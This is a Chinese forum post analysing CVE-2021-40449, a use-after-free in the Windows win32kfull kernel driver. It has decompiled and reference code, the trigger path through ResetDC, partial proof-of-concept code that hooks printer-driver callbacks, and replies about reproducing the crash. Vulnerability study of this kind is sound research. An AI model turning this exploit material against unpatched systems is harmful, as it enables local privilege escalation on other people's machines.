首页
社区
课程
招聘
[原创]CVE-2021-40449(UAF)学习
发表于: 2021-10-23 08:57 26008

[原创]CVE-2021-40449(UAF)学习

2021-10-23 08:57
26008

内核模块win32kfull.sys中存在UAF漏洞,利用此漏洞可实现本地提权

官方通报影响的windows版本:

Windows Server, version 2004/20H2(Server Core Installation)

Windows 10 Version 1607/1809/1909/2004/20H2/21H1

Windows 7 for 32/64-bit Systems Service Pack 1

Windows Server 2008/2012/2016/2019/2022

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows 8.1 for 32/64-bit systems

Windows RT 8.1

Windows版本:win10 1809 17763.107

UAF漏洞存在于win32kfull!GreResetDCInternal函数中,函数的反汇编结果如下所示:

GreResetDCInternal函数首先根据oldHDC句柄创建一个DCOBJ对象,紧接着调用hdcOpenDCW函数创建一个newHDC句柄,hdcOpenDCW内部会返回到用户态并调用回调函数DrvEnablePDEV,正常情况下不会出现什么问题,当恶意攻击者劫持回调函数,在回调函数内将原来的oldDCOBJ对象释放,当返回到内核态时,缺少安全性校验,根据newHDC创建的newDCOBJ依然从oldDCOBJ对象中获取函数指针以及参数,因此造成该UAF漏洞的产生,一旦vuln_ptr为垃圾数据时,调用vuln_ptr就会触发BSOD

CVE-2021-40449-2.png

如果你觉得IDA中的反汇编代码不够直观,可以参考@ly4k整理的相关的源码

菜鸟初次分析,参考@ly4k的POC为主

漏洞验证关键的两点:

抵达漏洞的路径:从漏洞触发点往回分析,需要调用到win32kfull!GreResetDCInternal函数,而win32kfull!GreResetDCInternal函数位于win32kfull!NtGdiResetDC函数内部,win32kfull!NtGdiResetDC恰巧为ResetDC对应的内核态函数,因此抵达漏洞出发点的路径为

触发漏洞的环境:回调函数内释放原来的DCOBJ

漏洞验证可以分为以下步骤:

回调函数内值得思考的问题是如何释放DC呢?

我查阅两个明显的释放DC的API:ReleaseDC和DeleteDC,发现DeleteDC是符合当下情形的,因为DeleteDC对应的是CreateDC,而ReleaseDC对应的是GetWindowDC或者GetDC

然而经过我的尝试,DC并没有得到释放,得到一个错误号170:请求的资源在使用中。我想应该是DC的锁没有释放,那为什么ResetDC能够将DC的锁解除并释放DC呢?

GreResetDCInternal函数后面部分完成了DC对象解锁以及旧DC的释放

CVE-2021-40449-1.png

栈帧回溯:hdcOpenDCW > KeUserModeCallback

漏洞触发位置汇编代码:rax即为vuln_ptr

此处CFG并没有实现,只是一条跳转指令

当执行流程第二次来到call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff826062b48090)]`时

此时vuln_ptr已经为0x6161616161616161,继续执行触发BSOD

 
 
 
 
 
 
 
 
 
 
__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2, int *a3, __int64 a4, __int64 a5)
{
  HDC v5; // r14
  int *v6; // r13
  int v7; // r15d
  HDC v8; // r12
  unsigned int v9; // edi
  DCOBJ *v10; // rbx
  __int64 PDEVOBJ; // rbx
  __int64 v12; // rax
  DCOBJ *v13; // rcx
  int v14; // r13d
  BOOL v15; // r14d
  int v16; // esi
  HDC newHDC; // rax
  DCOBJ *v18; // rdx
  void (__fastcall *vuln_ptr)(_QWORD, _QWORD); // rax
  __int64 v21; // rax
  __int64 v22; // rcx
  bool v23; // zf
  int v24; // [rsp+28h] [rbp-51h]
  __int64 v25; // [rsp+58h] [rbp-21h] BYREF
  DCOBJ *oldDCOBJ[2]; // [rsp+60h] [rbp-19h] BYREF
  DCOBJ *newDCOBJ[11]; // [rsp+70h] [rbp-9h] BYREF
 
  v5 = oldHDC;
  v6 = a3;
  v7 = 0;
  v8 = 0i64;
  v9 = 0;
  DCOBJ::DCOBJ((DCOBJ *)oldDCOBJ, oldHDC);      // create a DCOBJ from HDC
  v10 = oldDCOBJ[0];
  if ( !oldDCOBJ[0] )
  {
    EngSetLastError(6u);
    v13 = oldDCOBJ[0];
LABEL_38:
    v16 = v25;
    goto LABEL_19;
  }
  v7 = *((_DWORD *)oldDCOBJ[0] + 9) & 0x800;    // offset 0x24: flag
  if ( v7 )
  {
    DC::bMakeInfoDC(oldDCOBJ[0], 0);
    v10 = oldDCOBJ[0];
  }
  PDEVOBJ = *((_QWORD *)v10 + 6);               // offset 0x30: hdev
  v12 = *(_QWORD *)(PDEVOBJ + 0x6B0);
  *(_QWORD *)(PDEVOBJ + 0x6B0) = 0i64;
  v13 = oldDCOBJ[0];
  v25 = v12;
  if ( (*((_DWORD *)oldDCOBJ[0] + 9) & 0x100) != 0
    || *((_DWORD *)oldDCOBJ[0] + 8) == 1
    || (*(_DWORD *)(PDEVOBJ + 40) & 0x80u) == 0 )
  {
    goto LABEL_38;
  }
  v14 = *((_DWORD *)oldDCOBJ[0] + 0x1B);
  v15 = *((_QWORD *)oldDCOBJ[0] + 0x3E) != 0i64;
  v16 = v15;
  if ( XDCOBJ::bCleanDC((XDCOBJ *)oldDCOBJ, 0) )
  {
    if ( *(_DWORD *)(PDEVOBJ + 8) == 1 )
    {
      // create a new HDC and back to user mode
      newHDC = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(PDEVOBJ + 2560), v25, a4, a5, 0);
      // miss some validation of oldHDC, maybe the oldHDC has been released
      v8 = newHDC;
      if ( newHDC )
      {
        *(_QWORD *)(PDEVOBJ + 0xA00) = 0i64;
        // create a newDCOBJ from newHDC
        DCOBJ::DCOBJ((DCOBJ *)newDCOBJ, newHDC);
        v18 = newDCOBJ[0];
        if ( newDCOBJ[0] )
        {
          if ( v14 > 0 )
          {
            *((_DWORD *)newDCOBJ[0] + 27) = *((_DWORD *)newDCOBJ[0] + 26);
            v18 = newDCOBJ[0];
          }
          // fetch data from oldDCOBJ, maybe the oldDCOBJ has been released
          *((_QWORD *)v18 + 0x101) = *((_QWORD *)oldDCOBJ[0] + 0x101);
          *((_QWORD *)oldDCOBJ[0] + 0x101) = 0i64;
          *((_QWORD *)newDCOBJ[0] + 0x102) = *((_QWORD *)oldDCOBJ[0] + 258);
          *((_QWORD *)oldDCOBJ[0] + 0x102) = 0i64;
          // vuln_ptr can be a dangling function pointer
          vuln_ptr = *(void (__fastcall **)(_QWORD, _QWORD))(PDEVOBJ + 0xAB8);
          if ( vuln_ptr )
            vuln_ptr(*(_QWORD *)(PDEVOBJ + 0x708), *(_QWORD *)(*((_QWORD *)newDCOBJ[0] + 6) + 0x708i64));
 
          //...
}
__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2, int *a3, __int64 a4, __int64 a5)
{
  HDC v5; // r14
  int *v6; // r13
  int v7; // r15d
  HDC v8; // r12
  unsigned int v9; // edi
  DCOBJ *v10; // rbx
  __int64 PDEVOBJ; // rbx
  __int64 v12; // rax
  DCOBJ *v13; // rcx
  int v14; // r13d
  BOOL v15; // r14d
  int v16; // esi
  HDC newHDC; // rax
  DCOBJ *v18; // rdx
  void (__fastcall *vuln_ptr)(_QWORD, _QWORD); // rax
  __int64 v21; // rax
  __int64 v22; // rcx
  bool v23; // zf
  int v24; // [rsp+28h] [rbp-51h]
  __int64 v25; // [rsp+58h] [rbp-21h] BYREF
  DCOBJ *oldDCOBJ[2]; // [rsp+60h] [rbp-19h] BYREF
  DCOBJ *newDCOBJ[11]; // [rsp+70h] [rbp-9h] BYREF
 
  v5 = oldHDC;
  v6 = a3;
  v7 = 0;
  v8 = 0i64;
  v9 = 0;
  DCOBJ::DCOBJ((DCOBJ *)oldDCOBJ, oldHDC);      // create a DCOBJ from HDC
  v10 = oldDCOBJ[0];
  if ( !oldDCOBJ[0] )
  {
    EngSetLastError(6u);
    v13 = oldDCOBJ[0];
LABEL_38:
    v16 = v25;
    goto LABEL_19;
  }
  v7 = *((_DWORD *)oldDCOBJ[0] + 9) & 0x800;    // offset 0x24: flag
  if ( v7 )
  {
    DC::bMakeInfoDC(oldDCOBJ[0], 0);
    v10 = oldDCOBJ[0];
  }
  PDEVOBJ = *((_QWORD *)v10 + 6);               // offset 0x30: hdev
  v12 = *(_QWORD *)(PDEVOBJ + 0x6B0);
  *(_QWORD *)(PDEVOBJ + 0x6B0) = 0i64;
  v13 = oldDCOBJ[0];
  v25 = v12;
  if ( (*((_DWORD *)oldDCOBJ[0] + 9) & 0x100) != 0
    || *((_DWORD *)oldDCOBJ[0] + 8) == 1
    || (*(_DWORD *)(PDEVOBJ + 40) & 0x80u) == 0 )
  {
    goto LABEL_38;
  }
  v14 = *((_DWORD *)oldDCOBJ[0] + 0x1B);
  v15 = *((_QWORD *)oldDCOBJ[0] + 0x3E) != 0i64;
  v16 = v15;
  if ( XDCOBJ::bCleanDC((XDCOBJ *)oldDCOBJ, 0) )
  {
    if ( *(_DWORD *)(PDEVOBJ + 8) == 1 )
    {
      // create a new HDC and back to user mode
      newHDC = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(PDEVOBJ + 2560), v25, a4, a5, 0);
      // miss some validation of oldHDC, maybe the oldHDC has been released
      v8 = newHDC;
      if ( newHDC )
      {
        *(_QWORD *)(PDEVOBJ + 0xA00) = 0i64;
        // create a newDCOBJ from newHDC
        DCOBJ::DCOBJ((DCOBJ *)newDCOBJ, newHDC);
        v18 = newDCOBJ[0];
        if ( newDCOBJ[0] )
        {
          if ( v14 > 0 )
          {
            *((_DWORD *)newDCOBJ[0] + 27) = *((_DWORD *)newDCOBJ[0] + 26);
            v18 = newDCOBJ[0];
          }
          // fetch data from oldDCOBJ, maybe the oldDCOBJ has been released
          *((_QWORD *)v18 + 0x101) = *((_QWORD *)oldDCOBJ[0] + 0x101);
          *((_QWORD *)oldDCOBJ[0] + 0x101) = 0i64;
          *((_QWORD *)newDCOBJ[0] + 0x102) = *((_QWORD *)oldDCOBJ[0] + 258);
          *((_QWORD *)oldDCOBJ[0] + 0x102) = 0i64;
          // vuln_ptr can be a dangling function pointer
          vuln_ptr = *(void (__fastcall **)(_QWORD, _QWORD))(PDEVOBJ + 0xAB8);
          if ( vuln_ptr )
            vuln_ptr(*(_QWORD *)(PDEVOBJ + 0x708), *(_QWORD *)(*((_QWORD *)newDCOBJ[0] + 6) + 0x708i64));
 
          //...
}
 
 
BOOL GreResetDCInternal(
    HDC hdc,
    DEVMODEW *pdmw,
    BOOL *pbBanding,
    DRIVER_INFO_2W *pDriverInfo2,
    PVOID ppUMdhpdev)
{
    // [...]
    HDC hdcNew;
 
    {
        // Create DCOBJ from HDC
        DCOBJ dco(hdc);
 
        if (!dco.bValid())
        {
            SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
        }
        else
        {
            // Create DEVOBJ from `dco`
            PDEVOBJ po(dco.hdev());
 
            // [...]
 
            // Create the new DC
            // VULN: Can result in a usermode callback that destroys old DC, which
            // invalidates `dco` and `po`
            hdcNew = hdcOpenDCW(L"",
                                pdmw,
                                DCTYPE_DIRECT,
                                po.hSpooler,
                                prton,
                                pDriverInfo2,
                                ppUMdhpdev);
 
            if (hdcNew)
            {
                po->hSpooler = NULL;
 
                DCOBJ dcoNew(hdcNew);
 
                if (!dcoNew.bValid())
                {
                    SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
                }
                else
                {
                    // Transfer any remote fonts
 
                    dcoNew->pPFFList = dco->pPFFList;
                    dco->pPFFList = NULL;
 
                    // Transfer any color transform
 
                    dcoNew->pCXFList = dco->pCXFList;
                    dco->pCXFList = NULL;
 
                    PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
 
                    // Let the driver know
                    // VULN: Method is taken from old (possibly destroyed) `po`
                    PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
 
                    if (rfn != NULL)
                    {
                        (*rfn)(po->dhpdev, poNew->dhpdev);
                    }
 
                    // [...]
                }
            }
        }
    }
 
    // Destroy old DC
    // [...]
}
BOOL GreResetDCInternal(
    HDC hdc,
    DEVMODEW *pdmw,
    BOOL *pbBanding,
    DRIVER_INFO_2W *pDriverInfo2,
    PVOID ppUMdhpdev)
{
    // [...]
    HDC hdcNew;
 
    {
        // Create DCOBJ from HDC
        DCOBJ dco(hdc);
 
        if (!dco.bValid())
        {
            SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
        }
        else
        {
            // Create DEVOBJ from `dco`
            PDEVOBJ po(dco.hdev());
 
            // [...]
 
            // Create the new DC
            // VULN: Can result in a usermode callback that destroys old DC, which
            // invalidates `dco` and `po`
            hdcNew = hdcOpenDCW(L"",
                                pdmw,
                                DCTYPE_DIRECT,
                                po.hSpooler,
                                prton,
                                pDriverInfo2,
                                ppUMdhpdev);
 
            if (hdcNew)
            {
                po->hSpooler = NULL;
 
                DCOBJ dcoNew(hdcNew);
 
                if (!dcoNew.bValid())
                {
                    SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
                }
                else
                {
                    // Transfer any remote fonts
 
                    dcoNew->pPFFList = dco->pPFFList;
                    dco->pPFFList = NULL;
 
                    // Transfer any color transform
 
                    dcoNew->pCXFList = dco->pCXFList;
                    dco->pCXFList = NULL;
 
                    PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
 
                    // Let the driver know
                    // VULN: Method is taken from old (possibly destroyed) `po`
                    PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
 
                    if (rfn != NULL)
                    {
                        (*rfn)(po->dhpdev, poNew->dhpdev);
                    }
 
                    // [...]
                }
            }
        }
    }
 
    // Destroy old DC
    // [...]
}
 
ResetDC -> win32kfull!NtGdiResetDC -> win32kfull!GreResetDCInternal -> 漏洞点
ResetDC -> win32kfull!NtGdiResetDC -> win32kfull!GreResetDCInternal -> 漏洞点
// get the buffer size to store the PRINTER_INFO_4 structures
DWORD needBytes = 0, returnCount = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, nullptr, 0, &needBytes, &returnCount);
if (!needBytes) {
    ErrorOutput("[-] Failed to get buffer size for printer structures\n");
    exit(1);
}
 
// allocate a buffer to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray = (PPRINTER_INFO_4A)malloc(needBytes);
if (!pPrinterArray) {
    ErrorOutput("[-] Failed to allocate a buffer for printer structures\n");
    exit(1);
}
if (!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
    ErrorOutput("[-] Failed to enum printers\n");
    exit(1);
}
// get the buffer size to store the PRINTER_INFO_4 structures
DWORD needBytes = 0, returnCount = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, nullptr, 0, &needBytes, &returnCount);
if (!needBytes) {
    ErrorOutput("[-] Failed to get buffer size for printer structures\n");
    exit(1);
}
 
// allocate a buffer to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray = (PPRINTER_INFO_4A)malloc(needBytes);
if (!pPrinterArray) {
    ErrorOutput("[-] Failed to allocate a buffer for printer structures\n");
    exit(1);
}
if (!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr, 4, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
    ErrorOutput("[-] Failed to enum printers\n");
    exit(1);
}
PRINTER_INFO_4A pPrinterInfo = { 0 };
// enum printer structure array
for (DWORD idx = 0; idx < returnCount; ++idx)
{
    pPrinterInfo = pPrinterArray[idx];
    if (!pPrinterInfo.pPrinterName)
            continue;
    printf("[+] Try the printer: %s\n", pPrinterInfo.pPrinterName);
 
    // open the printer
    HANDLE hPrinter;
    if (!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
    {
        ErrorOutput("[-] Failed to open the printer\n");
        continue;
    }
    printf("[+] Open the driver: %s\n", pPrinterInfo.pPrinterName);
 
    // get the driver path
    needBytes = 0;
    GetPrinterDriverA(hPrinter, nullptr, 2, nullptr, 0, &needBytes);
    if (!needBytes)
    {
        ErrorOutput("[-] Failed to get buffer size for printer driver structures\n");
        continue;
    }
 
    PDRIVER_INFO_2A pDriverArray = (PDRIVER_INFO_2A)malloc(needBytes);
    if (!pDriverArray)
        ErrorOutput("[-] Failed to allocate a buffer for driver structures\n");
    if (!GetPrinterDriverA(hPrinter, nullptr, 2, (LPBYTE)pDriverArray, needBytes, &needBytes))
    {
        ErrorOutput("[-] Failed to enum the printer drivers\n");
        continue;
    }
    printf("[+] Driver path: %s\n", pDriverArray->pDriverPath);
 
    // load the driver to memory with the absolute path
    HMODULE hDriver = LoadLibraryExA(pDriverArray->pDriverPath, nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
    if (!hDriver)
    {
        ErrorOutput("[-] Failed to load the driver to memory\n");
        continue;
    }
 
    //...
}
PRINTER_INFO_4A pPrinterInfo = { 0 };
// enum printer structure array
for (DWORD idx = 0; idx < returnCount; ++idx)
{
    pPrinterInfo = pPrinterArray[idx];
    if (!pPrinterInfo.pPrinterName)
            continue;
    printf("[+] Try the printer: %s\n", pPrinterInfo.pPrinterName);
 
    // open the printer
    HANDLE hPrinter;
    if (!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
    {
        ErrorOutput("[-] Failed to open the printer\n");
        continue;
    }
    printf("[+] Open the driver: %s\n", pPrinterInfo.pPrinterName);
 
    // get the driver path

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-2-9 19:35 被Jimpp编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 96
活跃值: (315)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
大佬,学习了
2021-10-31 22:10
0
雪    币: 881
活跃值: (470)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

楼主在1809和之后的版本上复现过这个漏洞没?

最后于 2021-11-2 10:34 被吴限编辑 ,原因:
2021-11-2 10:31
0
雪    币: 1424
活跃值: (1046)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
之前还试了1909、20h2也可以蓝屏
2021-11-2 13:01
0
雪    币: 881
活跃值: (470)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
Jimpp 之前还试了1909、20h2也可以蓝屏
可以蓝屏?不能提权成功吧?
2021-11-3 16:53
0
游客
登录 | 注册 方可回帖
返回
//